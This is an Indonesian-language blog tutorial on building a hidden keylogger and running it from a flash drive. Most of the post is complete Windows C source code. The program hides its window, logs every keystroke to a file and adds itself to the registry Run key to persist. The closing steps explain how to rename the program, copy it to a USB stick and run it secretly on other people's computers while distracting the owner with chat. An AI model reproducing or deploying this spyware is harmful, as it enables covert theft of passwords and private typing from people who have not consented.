Social Icons

Sunday, 17 April 2011

Tutorial Membuat Flash disk menjadi Keylogger

Saya ada sedikit Tutorial nih mengenai Keyloager use Flask Disk.
• Pertama agan harus menyediakan flash disk ato USB agan masing-masing (yang g jorok atau bebas virus ya, biar kompu orang g rusak).
• Lalu agan mesti download C++. Bias agan download di http://www.brothersoft.com/dev-c++-65296.html.
• Setelah anda donlod C++, anda buka dan install
• Setelah di install, open dan tulis code ini :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
<div dir="ltr"><code>#include <windows.h>
#include <stdio.h>
#include <winuser.h>
 
#define BUFSIZE 80
 
int test_key(void);
int create_key(char *);
int get_keys(void);
 
int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
 
int test,create;
test=test_key();/*check if key is available for opening*/
 
if (test==2)/*create key*/
{
char *path="c:\\%windir%\\Log.exe";/*the path in which the file needs to be*/
create=create_key(path);
 
}
 
int t=get_keys();
 
return t;
}
 
int get_keys(void)
{
short character;
while(1)
{
 
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
 
FILE *file;
file=fopen("log.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
 
}
return EXIT_SUCCESS;
}
 
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
 
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
 
reg_key=RegQueryValueEx(hKey,"Log",NULL,NULL,(LPBYTE)path,&buf_length);
 
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
 
RegCloseKey(hKey);
return check;
}
 
int create_key(char *path)
{
int reg_key,check;
 
HKEY hkey;
 
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"Log",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
 
return check;
}</code></div>
• Nah, setelah itu agan Complie atau run, tapi enakan klik Rebuild All, bias agan temukan di Execute>Rebuild All
• Nah berhubung program sudah jalan, wajib agan end process “Log.exe “nya di Windows Task Manager.Save program dengan nama “Log”.
• Sekarang, coba agan buka my document, pasti dah ada program nya “Log.exe” dan tempat hasil Log-an nya yang bernama “Log”
• Tetapi apabila anda ingin mengganti nama program nya menjadi nama yang anda ingin kan seperti contoh “Blackmygo”, bisa anda ubah code nya di sini
1
2
3
4
5
6
7
1.char *path="c:\\%windir%\\Blackmygo.exe";/*the path in which the file needs to be*/
 
2.file=fopen("Blackmygo.log","a+");
 
3.reg_key=RegQueryValueEx(hKey,"Blackmygo",NULL,NULL,(LPBYTE)path,&buf_length);
 
4.    RegSetValueEx((HKEY)hkey,"Blackmygo",0,REG_SZ,(BYTE *)path,strlen(path));
• Na, kan sudah menjadi folder, tinggal agan copy ke flash disk
• Selanjutnya, tinggal agan jalanin aja di kompu orang lain lewat flash disk agan, untuk menghentikan “Log.exe’ / Keylogger nya, bisa kalian end process di Windows Task Manager / ctrl+alt+delete
• Tetapi kalau yang punya kompu Tanya “ko flash disk nya g d lepas?”, na tinggal basa-basi da ama yang punya computer,, hehehehhehehehe
(keylogger ini bersifat tersembunyi dan susah untuk di lacak [menurut ane ye], jadi moga-moga bermanfaat deh,,,)

No comments:

Post a Comment